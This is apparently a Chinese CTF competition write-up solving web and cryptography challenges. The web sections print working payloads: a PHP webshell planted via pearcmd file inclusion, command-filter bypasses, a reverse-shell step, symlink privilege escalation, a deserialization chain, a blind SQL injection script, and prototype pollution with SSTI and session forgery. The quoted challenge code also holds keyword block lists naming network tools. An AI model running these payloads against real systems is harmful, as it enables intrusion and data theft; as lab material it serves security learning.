Web

DeceptiFlag

抓包就能看到还要一个参数 Lang

根据图上的角色,可以知道qaq=xiyangyangLang=huitailang

image-20250608122657898

来到/tips.php页面,发现一个参数file=

通过报错可以知道用了require_once,且强制拼接了.php后缀

image-20250608122749183

发现不能用php伪协议,也不能直接/开头和用../,但能用file协议

可以包含pearcmd.php来写马实现getshell

/tips.php?+config-create+/&file=file:///usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+test.php

image-20250608123452762

接着访问test.php,即可RCE

image-20250608123609368

Really_Ez_Rce

源码

<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
error_reporting(0);

if (isset($_REQUEST['Number'])) {
$inputNumber = $_REQUEST['Number'];

if (preg_match('/\d/', $inputNumber)) {
die("不行不行,不能这样");
}

if (intval($inputNumber)) {
echo "OK,接下来你知道该怎么做吗";

if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];

if (!preg_match(
'/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\\\|more|cc|tac|less|head|\.|\{|\}|uniq|copy|%|file|xxd|date|\[|\]|flag|bash|env|!|\?|ls|\'|\"|id/i',
$cmd
)) {
echo "你传的参数似乎挺正经的,放你过去吧<br>";
system($cmd);
} else {
echo "nonono,hacker!!!";
}
}
}
}

intval用数组绕过

RCE过滤了很多,但没过滤=$,可以用拼接绕过,最后的.可以裁剪出来

?Number[]=1

cmd=a=ca;b=t;c=fla;d=g;e=`expr substr $KUBERNETES_SERVICE_HOST 3 1`;f=tx;g=t;`echo $a$b /$c$d$e$f$g`

Watch

程序调用了系统dll来读文件,用windows系统的特性,切换盘符读文件

../??/d:/

image-20250608130118308

读key.txt即可

../??/d:/key.txt

Just Ping Part 1

走的是不逆向的路(

查看页面源码可以看到有两个路由

/api/ping?target=
/api/testDevelopApi?cmd=

在经过偶然性的测试发现,在testDevelopApi里输入的命令,到ping里面会执行

这里就猜测,testDevelopApi接收的命令会覆盖掉ping里面的预置命令,这个命令就类似下面这种

exec.Command("ping","-c","4" ip)

这个分割应该是用空格作为分割符的

因此可以实现任意命令执行

/api/testDevelopApi?cmd=cat /flag 123

/api/ping?target=127.0.0.1

image-20250608131030297

Just Ping Part 2

根据上面Part 1找到的规律,可以反弹shell

/api/testDevelopApi?cmd=sh -c echo${IFS}[反弹shell payload base64]|base64${IFS}-d|sh 123

反弹shell后,根据题目给的附件

#!/bin/bash

if [ ! -f "backup" ]; then
exit 1
fi

ACTUAL_MD5=$(md5sum "backup" | cut -d' ' -f1)

if [ "$ACTUAL_MD5" = "18ed919aada0f7adca8802acf7b8a4d5" ]; then
backup
exit 0
else
exit 1
fi

先找backup文件

find / -name backup

/usr/local/etc/backup

image-20250608132057309

接着看这个程序,用base64把它弄下来

/api/testDevelopApi?cmd=base64 /usr/local/etc/backup 123

简单分析一下,可以知道它实现了一个备份,备份的目录从../backupList中读取

image-20250608132418974

发现/usr/local/etc/ 目录权限是777,可以用软链接来操作一下

cd /usr/local/etc/&&mkdir test&&mv backup test&&ln -s test/backup backup&&echo '/root'>backupList

最后用base64去读/var/backups/backup.zip即可

base64 /var/backups/backup.zip

image-20250608141549172

flag

image-20250607231940510

ez_php

源码

<?php
error_reporting(0);
class GOGOGO{
public $dengchao;
function __destruct(){
echo "Go Go Go~ 出发喽!" . $this->dengchao;
}
}
class DouBao{
public $dao;
public $Dagongren;
public $Bagongren;
function __toString(){
if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
call_user_func_array($this->dao, ['诗人我吃!']);
}
}
}
class HeiCaFei{
public $HongCaFei;
function __call($name, $arguments){
call_user_func_array($this->HongCaFei, [0 => $name]);
}
}

if (isset($_POST['data'])) {
$temp = unserialize($_POST['data']);
throw new Exception('What do you want to do?');
} else {
highlight_file(__FILE__);
}
?>

用原生类绕过 hash 函数,去掉最后一个大括号实现fast destruct,从而绕过 throw 异常抛出

<?php
error_reporting(0);
class GOGOGO{
public $dengchao;
function __destruct(){
echo "Go Go Go~ 出发喽!" . $this->dengchao;
}
}
class DouBao{
public $dao;
public $Dagongren;
public $Bagongren;
function __toString(){
if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
call_user_func_array($this->dao, ['诗人我吃!']);
}
}
}
class HeiCaFei{
public $HongCaFei="system";
function __call($name, $arguments){
echo "yes";
call_user_func_array($this->HongCaFei, [0 => $name]);
}
}

$a = new GOGOGO();
$a->dengchao = new DouBao();
$a->dengchao->Dagongren=new Error("test",1);$a->dengchao->Bagongren=new Error("test",2);
$a->dengchao->dao=[new HeiCaFei(),'cat /of*'];
echo urlencode(serialize($a));
// data=O%3A6%3A%22GOGOGO%22%3A1%3A%7Bs%3A8%3A%22dengchao%22%3BO%3A6%3A%22DouBao%22%3A3%3A%7Bs%3A3%3A%22dao%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A8%3A%22HeiCaFei%22%3A1%3A%7Bs%3A9%3A%22HongCaFei%22%3Bs%3A6%3A%22system%22%3B%7Di%3A1%3Bs%3A8%3A%22cat+%2Fof%2A%22%3B%7Ds%3A9%3A%22Dagongren%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A4%3A%22test%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A31%3A%22G%3A%5Ctools%5Cphpstudy_pro%5CWWW%5C2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A29%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A9%3A%22Bagongren%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A4%3A%22test%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A31%3A%22G%3A%5Ctools%5Cphpstudy_pro%5CWWW%5C2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A29%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D

半成品login

弱口令

admin/admin123

发现password那里过滤了单引号,用反斜杠发现报错了,应该能在这里sql注入

经过尝试,发现能用双重url编码绕过

username=admin&password=admin123%2527#

过滤了select,那就用table来注入

exp

import requests
import time


dict = '0123456789'
for i in range(ord('a'),ord('z')+1):
dict += chr(i)


burp0_url = "http://27.25.151.198:31763/login.php"

burp0_cookies = {"PHPSESSID": "292edf1013fa3e34a5c333e5f526d13a"}
burp0_headers = {"Cache-Control": "max-age=0", "Origin": "http://27.25.151.198:31240", "Content-Type": "application/x-www-form-urlencoded", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://27.25.151.198:31240/index.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}


# 库名
def database():
res = ''
for _ in range(100):
flag = 1
for i in range(len(dict)):
# time.sleep(0.1)
tmp = res + dict[i]
burp0_data = {"username": "admin", "password": f"admin123%27and/**/(table/**/information_schema.schemata/**/limit/**/4,1)>=(\"def\",\"{tmp}\",3,4,5,6)#"}
r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).text
if 'welcome.php' not in r:
res += dict[i-1]
flag = 0
print(res)
break
if flag == 1:
break

def tables():
res = ''
for _ in range(100):
flag = 1
for i in range(len(dict)):
# time.sleep(0.1)
tmp = res + dict[i]
burp0_data = {"username": "admin", "password": f'admin123%27and/**/("def","hnctfweb","{tmp}","",5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table/**/information_schema.tables/**/limit/**/329,1)#'}
r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).text
# print(r)
if 'welcome.php' not in r:
res += dict[i-1]
flag = 0
print(res)
break
if flag == 1:
break

def data_username():
res = 'hacker'
for _ in range(5):
flag = 1
for i in range(len(dict)):
# time.sleep(0.1)
tmp = res + dict[i]
burp0_data = {"username": "admin", "password": f'admin123%27and/**/(2,"{tmp}","","")/**/<=/**/(table/**/hnctfweb.hnctfuser/**/limit/**/1,1)#'}
r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).text
# print(r)
if 'welcome.php' not in r:
res += dict[i-1]
flag = 0
print(res)
break
if flag == 1:
break

def data_password(username):
res = ''
for _ in range(100):
flag = 1
for i in range(len(dict)):
# time.sleep(0.1)
tmp = res + dict[i]
burp0_data = {"username": "admin", "password": f'admin123%27and/**/(2,"{username}","{tmp}","")/**/<=/**/(table/**/hnctfweb.hnctfuser/**/limit/**/1,1)#'}
r = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).text
# print(r)
if 'welcome.php' not in r:
res += dict[i-1]
flag = 0
print(res)
break
if flag == 1:
break


# hnctfweb
# database()

# 329
# hnctfuser
# tables()


# data_username()
# hackernbvag, d8578edf845
data_password('hackernbvag')

最终得到账号密码

hackernbvag,d8578edf845

登陆得到flag

image-20250608143707688

奇怪的咖啡店

题目给的源码并不完全,但可以知道/add路由能原型链污染

过滤就用unicode编码绕过,先污染_static_folder实现任意文件读取

{"__globals__" : {"app" : {"_static_folder" : "/"}}}

{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {"\u0061\u0070\u0070" : {"\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072" : "\u002f"}}}

接着访问/static/app/app.py,即可得到最终源码

from flask import Flask, session, request, render_template_string, render_template
import json
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()

@app.route('/', methods=['GET', 'POST'])
def store():
if not session.get('name'):
session['name'] = ''.join("customer")
session['permission'] = 0

error_message = ''
if request.method == 'POST':
error_message = '<p style="color: red; font-size: 0.8em;">该商品暂时无法购买,请稍后再试!</p>'

products = [
{"id": 1, "name": "美式咖啡", "price": 9.99, "image": "1.png"},
{"id": 2, "name": "橙c美式", "price": 19.99, "image": "2.png"},
{"id": 3, "name": "摩卡", "price": 29.99, "image": "3.png"},
{"id": 4, "name": "卡布奇诺", "price": 19.99, "image": "4.png"},
{"id": 5, "name": "冰拿铁", "price": 29.99, "image": "5.png"}
]

return render_template('index.html',
error_message=error_message,
session=session,
products=products)


def add():
pass


@app.route('/add', methods=['POST', 'GET'])
def adddd():
if request.method == 'GET':
return '''
<html>
<body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
<h2>添加商品</h2>
<form id="productForm">
<p>商品名称: <input type="text" id="name"></p>
<p>商品价格: <input type="text" id="price"></p>
<button type="button" onclick="submitForm()">添加商品</button>
</form>
<script>
function submitForm() {
const nameInput = document.getElementById('name').value;
const priceInput = document.getElementById('price').value;

fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: nameInput
})
.then(response => response.text())
.then(data => alert(data))
.catch(error => console.error('错误:', error));
}
</script>
</body>
</html>
'''
elif request.method == 'POST':
if request.data:
try:
raw_data = request.data.decode('utf-8')
if check(raw_data):
#检测添加的商品是否合法
return "该商品违规,无法上传"
json_data = json.loads(raw_data)

if not isinstance(json_data, dict):
return "添加失败1"

merge(json_data, add)
return "你无法添加商品哦"

except (UnicodeDecodeError, json.JSONDecodeError):
return "添加失败2"
except TypeError as e:
return f"添加失败3"
except Exception as e:
return f"添加失败4"
return "添加失败5"


@app.route('/aaadminnn', methods=['GET', 'POST'])
def admin():
if session.get('name') == "admin" and session.get('permission') != 0:
permission = session.get('permission')
if check1(permission):
# 检测添加的商品是否合法
return "非法权限"

if request.method == 'POST':
return '<script>alert("上传成功!");window.location.href="/aaadminnn";</script>'

upload_form = '''
<h2>商品管理系统</h2>
<form method=POST enctype=multipart/form-data style="margin:20px;padding:20px;border:1px solid #ccc">
<h3>上传新商品</h3>
<input type=file name=file required style="margin:10px"><br>
<small>支持格式:jpg/png(最大2MB)</small><br>
<input type=submit value="立即上传" style="margin:10px;padding:5px 20px">
</form>
'''

original_template = 'Hello admin!!!Your permissions are{}'.format(permission)
new_template = original_template + upload_form

return render_template_string(new_template)
else:
return "<script>alert('You are not an admin');window.location.href='/'</script>"




def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


def check(raw_data, forbidden_keywords=None):
"""
检查原始数据中是否包含禁止的关键词
如果包含禁止关键词返回 True,否则返回 False
"""
# 设置默认禁止关键词
if forbidden_keywords is None:
forbidden_keywords = ["app", "config", "init", "globals", "flag", "SECRET", "pardir", "class", "mro", "subclasses", "builtins", "eval", "os", "open", "file", "import", "cat", "ls", "/", "base", "url", "read"]

# 检查是否包含任何禁止关键词
return any(keyword in raw_data for keyword in forbidden_keywords)


param_black_list = ['config', 'session', 'url', '\\', '<', '>', '%1c', '%1d', '%1f', '%1e', '%20', '%2b', '%2c', '%3c', '%3e', '%c', '%2f',
'b64decode', 'base64', 'encode', 'chr', '[', ']', 'os', 'cat', 'flag', 'set', 'self', '%', 'file', 'pop(',
'setdefault', 'char', 'lipsum', 'update', '=', 'if', 'print', 'env', 'endfor', 'code', '=' ]


# 增强WAF防护
def waf_check(value):
# 检查是否有不合法的字符
for black in param_black_list:
if black in value:
return False
return True

# 检查是否是自动化工具请求
def is_automated_request():
user_agent = request.headers.get('User-Agent', '').lower()
# 如果是常见的自动化工具的 User-Agent,返回 True
automated_agents = ['fenjing', 'curl', 'python', 'bot', 'spider']
return any(agent in user_agent for agent in automated_agents)

def check1(value):

if is_automated_request():
print("Automated tool detected")
return True

# 使用WAF机制检查请求的合法性
if not waf_check(value):
return True

return False


app.run(host="0.0.0.0",port=5014)

可以知道是打ssti,用原型链污染把param_black_listSECRET_KEY污染掉,最后伪造session即可RCE

{"__globals__" : {"param_black_list" : ["123"]}}
{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {"\u0070\u0061\u0072\u0061\u006d\u005f\u0062\u006c\u0061\u0063\u006b\u005f\u006c\u0069\u0073\u0074" : ["123"]}}

{"__globals__" : {"app" : {"config" : {"SECRET_KEY":"123"}}}}
{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" : {"\u0061\u0070\u0070" : {"\u0063\u006f\u006e\u0066\u0069\u0067" : {"\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059":"123"}}}}

/aaadminnn
{'name': 'admin', 'permission': '{{self.__init__.__globals__.__builtins__["__import__"]("os").popen("ls /").read()}}'}
.eJwdisEJwzAMAFcpeiWhZICuEhejNEoQ2JKx3Jfx7lH7uzuug2AmeAEemQWeUKhmNmMVj70bpXONkYVbjA5X0h2T_Xn_cmosLlsAf3LR6leA9xRALcC8Fi0kbh9sj-VcfqkSHtM8BowbvmMq-g.aEUwzg.mBiuRSOKBMNSSPfGUTg8XAVIJT0

image-20250608144247160

Crypto

lcgp

先通过lcg求出c,再离散对数求出flag

# sage
import gmpy2
from Crypto.Util.number import GCD, isPrime, long_to_bytes

c=[11250327355112956284720719987943941825496074893551827972877616718074592862130806975889275745497426515405562887727117008818863728803549848574821067056997423443681347885027000632462241968640893471352200125748453396098854283137158609264944692129301617338233670002547470932851350750870478630955328653729176440142198779254117385657086615711880537380965161180532127926250520546846863536247569437, 1289730679860726245234376434590068355673648326448223956572444944595048952808106413165882424967688302988257332835229651422892728384363094065438370663362237241013242843898967355558977974152917458085812489310623200114007728021151551927660975648884448177346441902806386690751359848832912607313329587047853601875294089502467524598036474193845319703759478494109845743765770254308199331552085163360820459311523382612948322756700518669154345145757700392164795583041949318636, 147853940073845086740348793965278392144198492906678575722238097853659884813579087132349845941828785238545905768867483183634111847434793587821166882679621234634787376562998606494582491550592596838027522285263597247798608351871499848571767008878373891341861704004755752362146031951465205665840079918938797056361771851047994530311215961536936283541887169156535180878864233663699607369701462321037824218572445283037132205269900255514050653933970174340553425147148993214797622395988788709572605943994223528210919230924346860415844639247799805670459, 7426988179463569301750073197586782838200202717435911385357661153208197570200804485303362695962843396307030986052311117232622043073376409347836815567322367321085387874196758434280075897513536063432730099103786733447352512984165432175254784494400699821500026196293994318206774720213317148132311223050562359314735977091536842516316149049281012797103790472349557847649282356393682360276814293256129426440381745354969522053841093229320186679875177247919985804406150542514337515002645320320069788390314900121917747534146857716743377658436154645197488134340819076585888700553005062311578963869641978771532330577371974731136, 10389979373355413148376869524987139791217158307590828693700943753512488757973725227850725013905113587408391654379552713436220790487026223039058296951420273907725324214990441639760825661323514381671141482079783647253661594138658677104054180912818864005556386671430082941396497098166887200556959866845325602873713813206312644590812141400536476615405444030140762980665885244721798105034497461675317071497925846844396796854201566038890503298824928152263774446268093725702310124363765630370263370678902342200494544961012407826314577564991676315451785987248633724138137813024481818431889574317602521878974976264742037227074]

t=[]
for i in range(1,len(c)):
t.append(c[i]-c[i-1])

m = 0
for i in range(1,len(t)-1):
m = GCD(t[i+1]*t[i-1]-t[i]**2, m)
print(isPrime(m))


a = (c[3]-c[2])*gmpy2.invert(c[2]-c[1],m) % m
b = (c[2]-a*c[1]) % m


a_1=gmpy2.invert(a,m)

cc = (c[0]-b) * a_1 % m

# print(cc)

m = 2024
n = 604805773885048132038788501528078428693141138274580426531445179173412328238102786863592612653315029009606622583856638282837864213048342883583286440071990592001905867027978355755042060684149344414810835371740304319571184567860694439564098306766474576403800046937218588251809179787769286393579687694925268985445059

g = Mod(m,n)

flag = discrete_log(cc,g)

print(long_to_bytes(flag))
# H&NCTF{7ecf4c8c-e6a5-45c7-b7de-2fecc31d8511}

为什么出题人的rsa总是ez

先求出part1

# sage
from Crypto.Util.number import *

load('solvelinmod.py')


c=13148687178480196374316468746303529314940770955906554155276099558796308164996908275540972246587924459788286109602343699872884525600948529446071271042497049233796074202353913271513295267105242313572798635502497823862563815696165512523074252855130556615141836416629657088666030382516860597286299687178449351241568084947058615139183249169425517358363928345728230233160550711153414555500038906881581637368920188681358625561539325485686180307359210958952213244628802673969397681634295345372096628997329630862000359069425551673474533426265702926675667531063902318865506356674927615264099404032793467912541801255735763704043
n=13718277507497477508850292481640653320398820265455820215511251843542886373380880887850571647060788265498378060163112689840208264538965960596605641194331300743676780910818492860412739541418029075802834265712602393103809065720527365081016381358333378953245379751008531500896923727040455566953960991908174586311899809864209624888469263612475732913062035036254077225370843701146080145441104733074178115602425412116325647598625157922655504918118208783230138448694045386019901732846478340735331718476554208157393418221315041837392020742062275999319586357229583509788489495876723122993592623230858393165458733055504467513549
h1=6992022576367328281523272055384380182550712894467837916200781058620282657859189270338635886912232754034211897894637971546032107000253692739473463119025570291091085702056938901846349325941043398928197991115231668917435951127329817379935880511925882734157491821315858319170121031835598580384038723788681860763814776365440362143661999054338470989558459179388468943933975861549233231199667742564080001256192881732567616103760815633265325456143601649393547666835326272408622540044065067528568675569233240785553062685974593620235466519632833169291153478793523397788719000334929715524989845012633742964209311952378479134661
h2=16731800146050995761642066586565348732313856101572403535951688869814016691871958158137790504490910445304384109605408840493227057830017039824412834989258703833576252634055087138315434304691218949240382395879124201923060510497916818961571111218224960267593032380037212325935576750663442553781924370849537501656957488833521657563900462052017695599020610911371304659875887924695896434699048696392210066253577839887826292569913713802634067508141124685789817330268562127695548527522031774601654778934513355315628270319037043809972087930951609429846675450469414212384044849089372435124609387061864545559812994515828333828939

var('p q')
bounds = {p: 2**1024, q: 2**1024}
eqs = [(q*h1 + p*h2 - h1*h2==0, n)]
sol = solve_linear_mod(eqs, bounds)
p = sol[p]
q = sol[q]
d = pow(65537, -1, (p-1)*(q-1))
e = pow(c, d, n)
print(long_to_bytes(int(m)))
# flag{e_is_xevaf-cityf-fisof-ketaf-metaf-disef-nuvaf-cysuf-dosuf-getuf-cysuf-dasix,bubbleBabble}


接着bubbleBabble得到e

81733668723981020451323

image-20250608144953005

最后求出flag

参考链接:https://blog.s1um4i.com/2024-QWBCTF/#easyrsa

from tqdm import trange
from Crypto.Util.number import *
import gmpy2

N=10244621233521168199001177069337072125430662416754674144307553476569744623474797179990380824494968546110022341144527766891662229403969035901337876527595841503498459533492730326942662450786522178313517616168650624224723066308178042783540825899502172432884573844850572330970359712379107318586435848029783774998269247992706770665069866338710349292941829996807892349030660021792813986069535854445874069535737849684959397062724387110903918355074327499675776518032266136930264621047345474782910332154803497103199598761422179303240476950271702406633802957400888398042773978322395227920699611001956973796492459398737390290487
g=2296316201623391483093360819129167852633963112610999269673854449302228853625418585609211427788830598219647604923279054340009043347798635222302374950707
e = 81733668723981020451323
c=7522161394702437062976246147354737122573350166270857493289161875402286558096915490526439656281083416286224205494418845652940140144292045338308479237214749282932144020368779474518032067934302376430305635297260147830918089492765917640581392606559936829974748692299762475615766076425088306609448483657623795178727831373194757182797030376302086360751637238867384469269953187938304369668436238848537646544257504724753333177938997524154486602644412199535102323238852958634746165559537630341890450666170836721803871120344373143081664567068672230842855208267929484000179260292518351155693154372172449820053764896414799137097

h = (N-1)//(2*g)

from gmpy2 import iroot
ab_ = h//(2*g)

"""
for i in trange(2**24):
ab = ab_ - i
absum = h - 2*g*ab
if absum**2-4*ab < 0:
continue
abdiff = iroot(absum**2-4*ab, 2)[0]
a = (absum + abdiff) // 2
b = (absum - abdiff) // 2
if a*b == ab:
print('a=',a)
print('b=',b)
break
"""

a= 24870971735420969866980201699353105101318234729573742624326108601424579832109415269399197614067973836280816637774236895569768620866007016994268948848166203739
b= 19528989906570790635395875562119230831068132104662250479566778328876156336866218924360075104993591320925404144434470748817281822291441354435866249504179957130

p = 2*g*a + 1
q = 2*g*b + 1

assert p*q == N
phi = (q-1)

d = d = gmpy2.invert(e,(p-1)*(q-1))
m = pow(c,d,N)
print(long_to_bytes(m))
# flag{I wish you success in your cryptography career}
# H&NCTF{I wish you success in your cryptography career}

哈基coke

猫脸变换

import numpy as np
from PIL import Image

def arnold_decode(image, shuffle_times=6, a=9, b=1, mode='1'):
image = np.array(image)
decode_image = np.zeros(shape=image.shape, dtype=image.dtype)
h, w = image.shape[0], image.shape[1]
N = h
for _ in range(shuffle_times):
for ori_x in range(h):
for ori_y in range(w):
new_x = ((a*b+1)*ori_x + (-b)* ori_y)% N
new_y = ((-a)*ori_x + ori_y) % N
if mode == '1':
decode_image[new_x, new_y] = image[ori_x, ori_y]
else:
decode_image[new_x, new_y, :] = image[ori_x, ori_y, :]
image = np.copy(decode_image)
return Image.fromarray(decode_image)

img = Image.open('en_flag.png')
decode_img = arnold_decode(img)
decode_img.save('flag-output.png')

数据处理

离散对数求出c再全排列爆破即可

from Crypto.Util.number import *
import sympy
import binascii
import itertools


m = 5084057673176634704877325918195984684237263100965172410645544705367004138917087081637515846739933954602106965103289595670550636402101057955537123475521383
c = 2989443482952171039348896269189568991072039347099986172010150242445491605115276953489889364577445582220903996856271544149424805812495293211539024953331399
n = 2 ** 512
lowercase = '0123456789'
flag = sympy.discrete_log(n, c, m)
flag = str(flag)
# print(flag)
# 7***4****5
for i in itertools.permutations('0123689'):
tmp = ''.join(i)
tmp = '7'+tmp[:3]+'4'+tmp[3:]+'5'
table = ''.maketrans(tmp, lowercase)
res = flag.translate(table)
new_flag = long_to_bytes(int(res))
if b'H&NCTF' in new_flag:
print(new_flag)
break
# b'H&NCTF{cut_cut_rrioajtfijrwegeriogjiireigji}'